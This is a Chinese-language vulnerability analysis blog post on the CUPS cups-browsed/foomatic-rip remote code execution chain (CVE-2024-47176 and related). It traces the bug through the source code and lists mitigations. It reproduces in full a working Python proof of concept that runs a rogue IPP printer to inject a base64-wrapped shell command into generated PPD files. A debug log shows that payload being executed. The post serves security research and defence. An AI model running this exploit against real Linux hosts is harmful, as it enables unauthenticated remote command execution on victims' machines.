cup_browsed_漏洞分析报告

0x01 漏洞披露信息

  • 2024 年 9 月 26 日,安全研究员 Simone Margaritelli(@evilsocket)披露了影响CUPS 打印系统的cups-browsedlibscupsfilterslibppd组件的多个漏洞,影响 2.0.1 以下版本 https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/
  • 起因是cups 系统的cups-browsed 组件无需身份验证暴露631端口,并且通过IPP协议建立连接后自动添加远程在线的打印机。
  • 打印机可以选择使用foomatic-rip过滤器,允许通过指令执行任意命令FoomaticRIPCommandLine,这是一个已知(CVE-2011-2697CVE-2011-2964)但自 2011 年以来一直未修补的问题。
  • 受影响的系统包括大多数 GNU/Linux 发行版、BSD、ChromeOS 和 Solaris,其中许多系统cups-browsed默认启用该服务。

0x02 漏洞复现

POC链接

https://github.com/RickdeJager/cupshax

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
from uuid import uuid4
from threading import Thread
import argparse
import socket
from base64 import b64encode
from zeroconf import ServiceInfo, Zeroconf
from ippserver.behaviour import StatelessPrinter
from ippserver.server import IPPServer, IPPRequestHandler
from ippserver.constants import SectionEnum, TagEnum, OperationEnum
from ippserver.parsers import Enum, Boolean, Integer


class Discovery:
def __init__(self, printer_name, ip_address, port):
self.printer_name = printer_name
self.printer_name_slug = Discovery.slugify_name(printer_name)
self.ip_address = ip_address
self.port = port
self.zeroconf = None

def slugify_name(name):
return "".join([c if c.isalnum() else "_" for c in name])

def create_ipp_printer_service(self):
# IPP over TCP (standard IPP service)
service_type = "_ipp._tcp.local."
service_name = f"{self.printer_name_slug}._ipp._tcp.local."

# TXT records with IPP and localization attributes
txt_records = {
"txtvers": "1", # TXT record version
"qtotal": "1", # Number of print queues
"rp": f"printers/hax", # Resource path
"ty": self.printer_name,
# Supported PDLs (PostScript, PDF)
"pdl": "application/postscript,application/pdf",
# Printer admin URL
"adminurl": f"http://{self.ip_address}:{self.port}",
"UUID": str(uuid4()), # Unique identifier
# IPP printer type (e.g., 0x800683 for color, duplex, etc.)
"printer-type": "0x800683",
}

service_info = ServiceInfo(
service_type,
service_name,
addresses=[socket.inet_aton(self.ip_address)],
port=self.port,
properties=txt_records,
server=f"{self.printer_name_slug}.local.",
)

return service_info

def register(self):
self.zeroconf = Zeroconf()
self.service_info = self.create_ipp_printer_service()
self.zeroconf.register_service(self.service_info)

def close(self):
if self.zeroconf is None:
return
self.zeroconf.unregister_service(self.service_info)
self.zeroconf.close()

def __del__(self):
self.close()


class HaxPrinter(StatelessPrinter):
def __init__(self, command, name):
self.cups_filter = '*cupsFilter2: "application/vnd.cups-pdf application/pdf 0 foomatic-rip"'
self.foomatic_rip = f'*FoomaticRIPCommandLine: {command} #'
self.name = name
super(HaxPrinter, self).__init__()

def minimal_attributes(self):
return {
# This list comes from
# https://tools.ietf.org/html/rfc2911
# Section 3.1.4.2 Response Operation Attributes
(
SectionEnum.operation,
b'attributes-charset',
TagEnum.charset
): [b'utf-8'],
(
SectionEnum.operation,
b'attributes-natural-language',
TagEnum.natural_language
): [b'en'],
}

def printer_list_attributes(self):
attr = {
# rfc2911 section 4.4
(
SectionEnum.printer,
b'printer-uri-supported',
TagEnum.uri
): [self.printer_uri],
(
SectionEnum.printer,
b'uri-authentication-supported',
TagEnum.keyword
): [b'none'],
(
SectionEnum.printer,
b'uri-security-supported',
TagEnum.keyword
): [b'none'],
(
SectionEnum.printer,
b'printer-info',
TagEnum.text_without_language
): [b'Printer using ipp-printer.py'],
(
SectionEnum.printer,
b'printer-make-and-model',
TagEnum.text_without_language
): [f'{self.name} 0.00'.encode()],
(
SectionEnum.printer,
b'printer-state',
TagEnum.enum
): [Enum(3).bytes()], # XXX 3 is idle
(
SectionEnum.printer,
b'printer-state-reasons',
TagEnum.keyword
): [b'none'],
(
SectionEnum.printer,
b'ipp-versions-supported',
TagEnum.keyword
): [b'1.1'],
(
SectionEnum.printer,
b'operations-supported',
TagEnum.enum
): [
Enum(x).bytes()
for x in (
OperationEnum.print_job, # (required by cups)
OperationEnum.validate_job, # (required by cups)
OperationEnum.cancel_job, # (required by cups)
OperationEnum.get_job_attributes, # (required by cups)
OperationEnum.get_printer_attributes,
)],
(
SectionEnum.printer,
b'multiple-document-jobs-supported',
TagEnum.boolean
): [Boolean(False).bytes()],
(
SectionEnum.printer,
b'charset-configured',
TagEnum.charset
): [b'utf-8'],
(
SectionEnum.printer,
b'charset-supported',
TagEnum.charset
): [b'utf-8'],
(
SectionEnum.printer,
b'natural-language-configured',
TagEnum.natural_language
): [b'en'],
(
SectionEnum.printer,
b'generated-natural-language-supported',
TagEnum.natural_language
): [b'en'],
(
SectionEnum.printer,
b'document-format-default',
TagEnum.mime_media_type
): [b'application/pdf'],
(
SectionEnum.printer,
b'document-format-supported',
TagEnum.mime_media_type
): [b'application/pdf'],
(
SectionEnum.printer,
b'printer-is-accepting-jobs',
TagEnum.boolean
): [Boolean(True).bytes()],
(
SectionEnum.printer,
b'queued-job-count',
TagEnum.integer
): [b'\x00\x00\x00\x00'],
(
SectionEnum.printer,
b'pdl-override-supported',
TagEnum.keyword
): [b'not-attempted'],
(
SectionEnum.printer,
b'printer-up-time',
TagEnum.integer
): [Integer(self.printer_uptime()).bytes()],
(
SectionEnum.printer,
b'compression-supported',
TagEnum.keyword
): [b'none'],
(
SectionEnum.printer,
b'printer-name',
TagEnum.name_without_language
): [self.name.encode()],
(
SectionEnum.printer,
b'media-default',
TagEnum.keyword
): [b'iso_a4_210x297mm'],
(
SectionEnum.printer,
b'media-supported',
TagEnum.keyword
): [b'iso_a4_210x297mm'],
(
SectionEnum.printer,
b'media-type',
TagEnum.keyword
): [b'stationery'],
(
SectionEnum.printer,
b'media-type-supported',
TagEnum.keyword
): [b'stationery', f': HAX\n{self.foomatic_rip}\n{self.cups_filter}\n*%'.encode()],
}
return attr

def handle_postscript(self, _ipp_request, _postscript_file):
pass

def parse_args():
parser = argparse.ArgumentParser(description="CUPSHax: A CUPS PPD injection PoC")

parser.add_argument("--name", default="RCE Printer", help="The name to use (default: RCE Printer)")
parser.add_argument("--ip", required=True, help="The IP address of the machine running this script")
parser.add_argument("--command", default="touch /tmp/pwn", help="The command to execute (default: 'touch /tmp/pwn')")
parser.add_argument("--port", type=int, default=8631, help="The port to connect on (default: 8631)")
parser.add_argument("--base64", action=argparse.BooleanOptionalAction, default=True, help="Wrap the command in base64 (default: enabled)")

return parser.parse_args()

def main():
args = parse_args()
command = args.command
if args.base64:
print("[+] Wrapping command in base64...")
command = f"echo {b64encode(command.encode()).decode()}|base64 -d|sh"

print(f"[+] Command: {command}")
printer = HaxPrinter(command, args.name)
discovery = Discovery(args.name, args.ip, args.port)

# Start a discovery thread
discovery_thread = Thread(target=discovery.register)
discovery_thread.start()

server = IPPServer((args.ip, args.port), IPPRequestHandler, printer)
try:
print(f"[+] Starting IPP server on {args.ip}:{args.port}...")
server.serve_forever()
except KeyboardInterrupt:
print("[+] Stopping script...")

if __name__ == "__main__":
main()

复现流程

kali搭建ippserver打印服务,并传递command

Debian12
受害者机器需要在浏览器中选择打印功能,然后选择kali搭建的打印机,一般来说cup-browser 会自己扫描局域网内的打印机设备,但在复现的过程中,ubuntu22.04 并没有自动扫描到,需要手动添加打印机步骤。

ubuntu22.04

0x03 漏洞成因

本漏洞涉及了cups 打印系统中的 cups-browsed(建立ipp协议连接)、libcupsfilters(获取ipp属性)、libppd(生成ppd文件)、cup-filters(调用过滤器)、foomatic-rip(转换打印格式后进行打印业务) 多个组件。

首先在 cups-browsed 会调用 libcupsfilters 库中的 cfGetPrinterAttributes5 在从打印机读取IPP属性之后,没有清除这些属性,而是在后面的调用 libppd 库中的 ppdCreatePPDFromIPP2 会创建ppd 缓冲区后生成 ppd 文件,将这些打印机IPP属性保存在 /etc/cups/ppd/ 目录中以供打印作业时调用读取。并且当用户调用打印机来进行打印作业的时候,cups系统会读取ppd 文件内的属性,并且会根据cupsfilter 提供的value 来选择对应的过滤器 foomatic-rip,foomatic-rip 会读取ppd文件中的 FoomaticRIPCommandLine 值并且调用 /bin/shell 来执行命令。

虽然漏洞的评分是9.9分,但是触发条件比较特殊,需要受害者打印文件的时候,选择恶意的打印机,才会触发嵌入在ppd文件恶意命令,执行任意命令。

0x04 漏洞分析

根据具体的CVE-2024-47076、CVE-2024-47175、CVE-2024-47176、CVE-2024-47177 来看,漏洞的核心在于CUPS组件缺乏输入验证,攻击者可以利用互联网打印协议(IPP),将需要的打印机IPP属性保存在PostScript打印机描述(PPD)文件中,而CUPS 将会使用ppd文件来描述打印机属性,在使用IPP协议进行打印时,客户端会根据PPD文件中的信息配置打印作业。如果PPD文件中的一些属性attr 被攻击者注入了恶意命令,这些被操纵的ppd文件可让攻击者在触发打印时执行任意命令。

具体来说,IPP协议是一种应用层协议,用于通过网络发送和接收打印作业,允许客户端和打印机之间通信,这些通信包括发送有关打印机状态(卡纸、墨水不足等)和任何作业状态的信息,所有主流操作系统都支持IPP协议,包括Windows、macOS、Linux。

当局域网中有一个台打印机上线并可用时,打印机会通过DNS广播有关打印机的数据包,其中包括统一资源标识符(URI),以及表明PostScript语言和设备的UUID。

在linux 系统中(目前只测试了Linux)cups 会发送IPP request(GET-Printer-Attributes)从目标打印机中获取所有的 attributes 并保存到 /etc/cups/ppd/目录中。

首先从cups-browsed 组件开始分析,cups-browsed 是cups系统的一部分,并且会监听631端口,绑定之后就会调用recvfrom()函数读取数据包并检查后解析其解析的格式为 “%x%x%1023s” ,在packet数据包中读取两个十六进制数和一个字符串。

在此之后调用found_cups_printer() 函数来通过url 找到打印机的资源。其中会调用examine_discovered_printer_record() 函数,

最后调用create_remote_printer_entry() 函数创建一个新的打印机队列,并且会创建pdd文件,对于远程打印机,创建本地打印机队列并且从读取远程的pdd文件,从而保证能够通过pdd文件来驱动远程打印机。

cfGetPrinterAttributes() 函数的原型在cups系统中的libcupsfilters 库(https://github.com/OpenPrinting/libcupsfilters/blob/master/cupsfilters/ipp.c)中,通过http套接字连接,然后调用 cupsDoRequest() 函数来获取目标打印机所有的attribute, cupsDoRequest() 函数在 https://www.cups.org/doc/cupspm.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// Connect to the server if not already done
if (http_printer == NULL)
{
have_http = 0;
if ((http_printer =
httpConnect(host_name, host_port, NULL, AF_UNSPEC,
encryption, 1, 3000, NULL)) == NULL)
{
log_printf(cf_get_printer_attributes_log,
"get-printer-attributes: Cannot connect to printer with URI %s.\n",
uri);
if (uri) free(uri);
return NULL;
}
}
省略...
ippAddString(request, IPP_TAG_OPERATION, IPP_TAG_URI, "printer-uri", NULL,
uri);
ippAddStrings(request, IPP_TAG_OPERATION, IPP_TAG_KEYWORD,
"requested-attributes", pattrs_size,
NULL, pattrs);

response = cupsDoRequest(http_printer, request, resource);
ipp_status = cupsGetError();

具体的请求数据包如下所示:

cups-browsed 在获取到 ipp 协议的属性之后,会调用update_cups_queues() 函数更新打印队列的信息,其中会进入到 STATUS_TO_BE_CREATED 分支中开启一个线程调用create_queue()函数来更新队列。STATUS_TO_BE_CREATED 在前面的create_remote_printer_entry() 函数中会配置打印机任务状态。

create_queue()函数在执行的过程中是获取不到ppdfile的,因此会自己调用ppdCreatePPDFromIPP2() 生成ppd文件,ppd文件是只postScript打印机描述文件,文件内的属性描述了每个打印机的功能,cups 使用ppd 文件来支持打印机特定的功能和智能过滤。

详细的数据包如下

ppdCreatePPDFromIPP2() 函数来自于libppd (https://github.com/OpenPrinting/libppd/blob/master/ppd/ppd-generator.c ),及主要的功能就是创建一个标准的 pdd 文件,并且将远程打印机提供的attr 写入到pdd文件。

生成的ppd文件存在于/etc/cups/ppd/ 目录中,临时文件在打印机任务结束之后,会自动清除。

在ppd文件中,我们可以看到 cupsFilter2 和 FoomaticRIPCommandLine 这两个是pdd 文件的属性。其中cupsFilter2 的使用手册如下所示:

program 参数的作用是调用过滤器(所有能被cups 使用的过滤器在 /usr/lib/cups/filter)来处理对待打印文件格式的转换,这里使用的是 foomatic-rip 过滤器,另外cups为了提升兼容性,cupsFilter 也是做与cupsFilter2一样的工作,同样对输入没有任何校验。
foomatic-rip 能将PostScript 和 PDF(以及其他文件格式)从标准输入转换为打印机的本机语言,这里的转换手段是通过读取ppd 中的描述来构建渲染器,进行后续的打印作业。

foomatic-rip 是如何能执行 FoomaticRIPCommandLine 命令的呢?
有关FoomaticRIPCommandLine 属性配置如下所示,这个属性定义的命令会被foomatic-rip 的渲染器执行。

花了一点时间对 foomatic-rip 源码进行审计,并且开启调试运行打印作业,完整的输出信息如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
DEBUG: Color Manager: Invalid printer name.
'CM Color Calibration' Mode in SPOOLER-LESS: Off
foomatic-rip version 1.28.17 running...
called with arguments: '-P', 'hhhh1', '-v', '--ppd', 'hhhh1.ppd', './exx.pdf'
Parsing PPD file ...
Added option PageSize
...
Spooler: direct
Printer: hhhh1
Shell: /bin/sh
PPD file: hhhh1.ppd
...
Starting renderer with command: "echo dG91Y2ggL3RtcC9oaGhoaGho|base64 -d|sh #"
Starting process "kid3" (generation 1)
Starting process "kid4" (generation 2)
Starting process "renderer" (generation 2)
...
Killing kid3

可以看到调用了 /bin/shell 来执行command,根据其中的Starting renderer with command 定位到了 get_renderer_handle函数,会启动exec_kid3来执行command。

在exec_kid3() 函数最终中调用 run_system_process() 函数来执行命令。执行命令的流程在process.c 文件内

1
2
3
4
5
run_system_process( command ) -->
start_system_process(command) -->
_start_process(exec_command,command) -->
exec_command(command) -->
execl(command)

在分析的过程中,最终通过传入 FoomaticRIPCommandLine 命令参数,然后调用shell 来进行执行,于是在CVE仓库看看是否有其他符合条件的漏洞编号,我发现存在CVE-2011-2694、CVE-2011-2697这两个漏洞都是和本篇分析的漏洞详情相似,均是将载荷写入恶意的.ppd 文件中,进而造成远程命令执行。

按照对FoomaticRIPCommandLine 修复的情况来看,仅仅是不提供这个 –ppd参数选项。

1
foomaticrip.c: SECURITY FIX: It was possible to make CUPS executing    arbitrary commands as the system user "lp" when foomatic-rip was used as CUPS filter. Fixed by not parsing named options (like "--ppd lj.ppd") when foomatic-rip is running as CUPS filter, as CUPS does not supply named options to their filters.

但实际上在cups 打印系统中,foomatic-rip组件依旧可以使用 –pdd option 来指定.ppd 文件。

0x05 缓解措施

  • 禁用并卸载该cups-browsed服务。例如,请参阅Red HatUbuntu的建议。
  • 确保您的 CUPS 软件包已更新至适用于您的发行版的最新版本。
  • 如果无法更新,请阻止631来自可能受影响的主机的 UDP 端口和 DNS-SD 流量

0x06 思考总结

那么为什么在cups系统中并没有将这个存在执行命令的参数FoomaticRIPCommandLine 给修复呢,或者说设定一些对用户输入信息的校验,按照evilsocket 的说法是,cups开发人员认为如果将这个问题修复了,那将会影响老版本打印机的使用,修复可能会破坏打印机的驱动程序。因此为了维护老版本打印机型号的使用,不得不将foomatic-rip 组件保留下来,只能建议用户在配置打印机的时候,不要去使用foomatic-rip 组件。
此外,在cup-filters库中,有研究人员提交了一个远程命令执行漏洞(CVE-2023-24805),截至目前,该漏洞仍处于” A fix is worked on currently”的状态,可见一斑。

在许多系统或产品中,当影响面广泛且供应链错综复杂时,如果某个环节出现安全漏洞,安全研究人员通常会要求开发者立即启动应急响应策略,以便及时修复并发布缓解措施。然而,对于企业、组织、开发者甚至用户来说,需要考虑的因素则更加复杂。例如,更换组件、协调修复漏洞的相关部门以及上下游供应商所涉及的成本问题,牵一发而动全身的改动代码是否产生其他代码问题,修复漏洞是否会影响产品生态中其他组件的正常维护和使用。此外,类似于 CUPS 的情况,在修复漏洞后,可能会对大量旧款、不再维护的打印机产品的使用造成影响。因此,修复漏洞的过程往往面临诸多权衡和困境,迫使各方在安全与可用性之间寻求平衡。

在网络安全领域,安全研究人员往往持有一种单向的风险观。在发现漏洞后,他们希望能获得更多的关注和响应,并普遍认为漏洞存在的风险是负面的。然而,修复这些漏洞的过程可能会影响实际用户对产品的使用体验,导致用户未能真正体会到漏洞修复所带来的安全提升。这种情况使得安全修复与用户体验之间的平衡变得复杂,往往需要在保障安全和维持良好体验之间做出权衡。

“在网络安全领域,我们常常忘记,我们的业务不是消除风险,而是管理风险”

0x07 有关参考

https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/
https://www.cups.org/doc/spec-ppd.html#cupsFilter2
https://refspecs.linuxbase.org/LSB_3.2.0/LSB-Printing/LSB-Printing/ppdext.html
https://linux.die.net/man/1/foomatic-rip
https://github.com/jschyz/blog/issues/7
https://blog.csdn.net/limelove/article/details/121988838
https://www.cups.org/doc/network.html


cup_browsed_漏洞分析报告
https://tig3rhu.github.io/2024/12/11/25__cups_browsed_漏洞分析报告/
Author
Tig3rHu
Posted on
December 11, 2024
Licensed under